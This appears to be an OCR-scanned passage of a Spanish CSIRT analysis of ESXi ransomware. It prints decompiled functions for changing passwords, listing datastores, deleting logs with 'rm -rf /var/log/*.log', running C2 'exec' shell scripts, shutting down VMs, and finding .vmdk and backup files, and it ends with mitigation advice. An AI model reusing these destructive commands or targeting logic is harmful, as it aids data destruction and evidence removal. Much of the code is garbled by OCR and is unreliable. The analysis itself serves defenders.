78 local_4c = @x6361206d;

79 local 48 = @x6e756T63;

80 local 44 = @x65732074;

81 local 48 = @x692d2@74;

82 local_3c = @x7325223d;

a3 local 38 = @x702d2822;

84 local 34 = @x7325273d;

85 local 3@ = @x632d2@27;

86 local _2c = @x7325273d;

87 local 28 = @x27;

a8 snprintf(local B58,0x400, (char *)&local 58,

89 *{undefined8 *)((long)local_c9¢ + (long)local ce4 * 8),param_1,param_1);
96 __stream = popen(local 858,"1"):

91 if (__stream != (FILE *)0x8) {

a2 while (pcVar4 = fgets(local c58,8x40@, stream), pcVard != (char *)@x@) {
93 FUN_08@40919b(param_2, "ChangePassword" , local_c58);

94 local c5c = @;

95 }

96 1

97 local c7@ = pclose(__stream);

a8 if (local_c7@ == ex7Te8) {

L FUN_0048919b(param_2, "ChangePassword", "esxcli system account command not found");

Listar sistemas de archivos de ESXI

Como observamos en la imagen, si el host tiene instalado esxcli, se ejecuta el comando “esxcli
--formatter=csv storage filesystem list”. Este comando se utiliza para obtener una lista de sistemas de
archivos de almacenamiento en un formato CSV.
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local 20 = *({long *) (in_F53 OFFSET + Ox28):
FUN_00407£51 ("GetStorage starthn"):

if (DAT 00617270 = 1) |

local 448 = "esxcli —-formatter=csv storage filesystem list™;

150 = popen(™esxcli --formatter=csv storage filesystem list™,™r");
if ({local 450 !'= (FILE *)o0x0) {
while (pcVar3 = fgets(local 428,0x400,local 450), pcVard != (char *)0xd) |

= (wvoid *)0x0;
local & = FUON_0040333d({local 42%,0x2c,&local 453);
if ({local_432c == 0) |
local 43c = 07
while (local 43c < local 438) {
Varl = FUN_004073c2(* (undefinedd *) ({long)local_45% + (long)local_43c * g),"VolumsName"
HH
|
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Eliminacién de logs

La funcion siguiente tiene como objetivo eliminar archivos de registro (“log files”) en un directorio
especifico “/var/log”, se utiliza la funcién “popen” para la ejecucién de comandos de shell que utiliza el
comando “rm” para eliminar archivos de registro de directorio. EIl comando ejecutado es "rm -rf
/var/log/*.log".

local 10 = *{long *) (in_F5 OFFSET + 0x28);

while ({pFvarZ != (FILE *)0x0) {
Fvar2z = (FILE *)fgets(local_41%,0x400, stream):

fa—

iVarl = pcloae(_ stream);
if (ivarl < 1) {
FON_00407£51 {("BML =nd\n"):

1
elae |
FUN_0040915%b (param 1, "Bemovelogs™, "unknown error - operation failed™);
}
if (local 10 = *{long *) {in F5 OFF3ET + 0x28)) |
return ivarl < 1;
}
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Creacion de archivos temporales para ejecucion remota de cédigo

La funcidén siguiente es utilizada en el comando C2 "exec", y configura algunas variables locales,
incluyendo un puntero en un archivo “local_3078”, el cual se encarga de crear un archivo de script de
shell llamado “shvm”. luego este comprueba si la creacion del archivo mencionado anteriormente fue
exitosa, si este no fue creado utiliza la funcién “FUN_0040919b” para informar un error y establece la
variable “uVar4” en 0. Si el archivo fue creado exitosamente escribe el script de shell en el archivo
“shvm”, el cual luego es ejecutado.

local_20 = *{long *){in_F5 OFFSET + Ox28);
FUM_00407£51("RF starthn™);
= 1;
2 = fopen("shmv"™, "wW");

if {local 3078 == (FILE *j0=0) {

FUN_0040%18b(param 11, "RunFrocess™, "failed to create file to run process™);

uvard = 0z
}
else |

fprintf{local 3073, %s\n"," #!/bin/sh");

fprintf(local 3073, "%s\n",param Z2);
fclose (local 3078):
iVarl = chmed {"shmw"™, 0xlc0);
if (ivarl < 0} {
FUN_0040915%b (param 11, "BunFrocess™, "failed to chmod file to run process™);

}
elae |
local 3080 = (FILE *)FUNM_00405691("./shmv",&DAT 004132f¢,param §);
*param_7 = local_3030;
if ({local 3080 == (FILE *)0x0} |
FUN_0040%15%b (param 11, "BunFrocess”™, "failed to start process™);
remove {"shrv™) »
uVard = 07
1

Si este comando tiene éxito, se establece el pardmetro “param_7” en el puntero de archivo de la
ejecucion del script. si este no tiene éxito, informa el error y elimina el archivo “shvm” y retorna 0.
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if {local 3080 == (FILE *)0x0) {
FUN_0040919b (param 11, "RunProcess™,"failed to start process™):
remove {("shmv"™) ;

Ward = 07

}
else |
FUN_00407£51 (&DAT 00413470, param 2);

while (local 3030 < *param 1) {

if (*(int *) (*{(long *) (param 1 + 2} + (long) {(int)local 3030 * 0xl% + Oxc) !=0) |
local_3022 = *{undefineds *)
{*(long *)({param 1 + 2) + ({(long) (int)local 3030 * 0x1% + 0xl1d);
local 3080 = FUN_004055eb(local_ 308%,"files™);

if (1o 3050 '=0) {
1= 0) |

local_309% = (undefined® *)0x0;

El céddigo entra en un bucle donde lee y procesa la salida del comando de shell ejecutado linea por linea.
Comprueba palabras clave especificas en la salida, como "ERROR," "DONE" y "PARTIAL," y actualiza
diversas variables en consecuencia. También maneja operaciones de archivo segun la salida.

LAB_0040a452:

pcVar7 = fgets({char *)local 2525,0x800,local_3080);
WVarT '= ([char *)0x0) {

FUN_00407£51 (¢DAT_ 00413470, local E28);

o
]

local_302c iH

local = (char *)CONCAT&2(local_3laS._2_6_,0x2f);

local = "DONE: ";

local = "ERROR: ";

local = "FRRTIRL: ";

0 {char *)0x0;

FUN_00407202(local_ 825, "ERROR: ", "ERROR: ");

5 =10} {

= FUN_00407a02 (local_528,local_30k0,local_ 30b0);
5=10) |

FUN_00407a02 {local_ S28,local 30c0,local_30c0):

=0} |

3038 = 1;

00407efe (param 10);

= 94;

= = FUM_00406400 (0x4058c00000000000) ¢
FUN_004062bf (param &, "progress”,local 3040);
FUN_00407£18 (param 10);

}
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Apagar maquina virtual
En esta parte del ransomware efectlia una operacion de apagado de una maquina virtual, donde al
principio, establece una variable local llamada “local_10” que puede tener relaciéon con la gestion de
excepciones. Se imprime un mensaje “SDVM start” lo que indica que el proceso de apagado se inicid.

10 = ¥{long *){in

FUN_00407£51 ("50VM star
if (DAT_O00&1727

0x28);

0z
0x7365636£;
0x69€b2073>
= 0x2d206céc;
0x73252077;
0x20742d20;7
0x63726f66;
0x65;

snprintf {loc

438,0x400, {(char *)slocal 32,param 1);

stream = popen({loc

= (FILE *)0x0) {

2 = fgets{loc
FUN_004091%b (param_2,

I= (char *)0x0) {

= pclose(_ e
rl == 0x7£00) {
FUN_0040%19b (param 2, "ShutdownVM", "esxcli command not found™):

uvar3d = 07
goto LAB 004058%b2;
}
if (0 < iVarl) {
FUN_0040%1%b(param 2, "ShutdownVM", "unknown error - operation failed™);
uvars = 07
goto LAB 004058%b2;
1
}
FUN_00407£51 ("50VM end\n");
uvarid = 1;
LB 004098b2:
if (loca

ET + 0x28)) |
return

}

/% WABNING: Subroutine does not return ¥/
_ stack _chk_fail():
}
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Listar maquinas virtuales

La funcién para obtener una lista de maquinas virtuales y sus volimenes es usada tanto en el comando
"exec" como en los comandos que devuelven una configuracién como estado de la maquina infectada. Se
devuelven datos como mountpoint, nombre, tamafio de cada disco encontrado.

FUNM_00407E£51 ("FetVis hmap created\n™);

"find /vmfs/volumes,/ -type £ -not “\\{ -path /sy¥s -prune \\) -not \\{ -path /proc -pruns \\)
-not M\ { -path /run -prune ‘\\) -not “\{ -path /wvar/log -prune “\) -name “"¥.vmdk*\" -0 -name
WYL owEW\T —o —name \"Y.ova*\" -o -name \"Y.vmem*\" -o -name \"V.vawp*\" -0 -name \"V.vmsdvh,"
-0 —-name \"¥.vmsn*\" -0 -name \"*.vib*\" -0 -name \"*.vbk*\" -0 -name \"¥.vbm*\""
H
LaB 0040b%%9a:

iVarl = FUN_00407364 (local Z23);

1
1

FON_00407d0a (auStackZ09s + iV

Wmaric™,T):

if {iVarl == 0) goto LAB 0040bab5;

ivarl = FUN_00407364 (local Z22);

iVarl = FUN_00407d0a (auStacki028 + iVarl,™.lmario™,7);
if {(iVarl == 0) goto LAB_0040bab5;

iVarl = FUN_00407864 {local 222);

iVarl = FUN_00407d0a (auStack20%8 + iVarl,™.emario™,7);

if (iVarl == 0) goto LABR 0040babs;
iVarl = FUN_00407364 {local B22);
iVarl = FUNM_00407d0a{zu
if (iVarl == 0) goto LABR 0040babi;
= FUN_00407864 (local 22E);

if {iVarl == 0) goto LAB 0040bab5;

= FUN_00407d0a (auStackZ09s + iV

Imaric

.nmaric”™,T);
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local 2923 = FUN_004055eb({local_23al, "datastoreName™) ;
local 2930 = FUN_004055eb({local_23a0, "datastore3ize™);
local 28af = (char *)FUN_004025ca(local Z2925);

local 28b0 (char *)FUN_004025ca{local 2530);

local 2535 = FUNM_00406497({local_2838);

local 29258 = FUM_00406497{local_28az8);

local 2530 = FUNM_00406497 {local 28k0);
FUN_00405%13(local 2910, "datastoreMountPoint™, local 2938);
FUN_00405%13(local 2910, "datastoreName™, local 29238);
FUN_00405%13(local 2910, "datastoreSize™, local 2930);

Cuando no existe el comando esxctl, se ejecuta un listado de discos con el comando df.

if ((DRT 00617270 == 2) || (DAT 00€17270 = 3}) {

"df -h -F -x\"squashfs\" | awk \"{print #1%™\\EA SN OB TEIVTOEA TS TENTESN BN TSE T
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Recomendaciones

A continuacién, agrupamos las recomendaciones realizadas por el CSIRT en comunicados previos a los
equipos de ciberseguridad y tecnologia. El objetivo de estas recomendaciones es mitigar el impacto que
podria provocar una infeccidon con un malware como el analizado en este reporte:

Limitar el acceso a ESXI.

Utilizar usuarios con privilegios minimos.

Minimizar la cantidad de puertos abiertos.

Monitorear conexiones a IPs y puertos no reconocidos.

Utilizar el modo de bloqueo de ESXI, para ser accedido a través de VCenter Server.

Restringir acceso a través de SSH y a través del SDK.

Implementar herramientas de seguridad especializadas en servidores tanto para mdquinas
virtuales y contenedores alojados en el servidor.

e Realizar copias de seguridad regularmente, las que deben ser almacenadas en diferentes lugares
y medios, incluyendo una copia fuera de linea o de la institucién.
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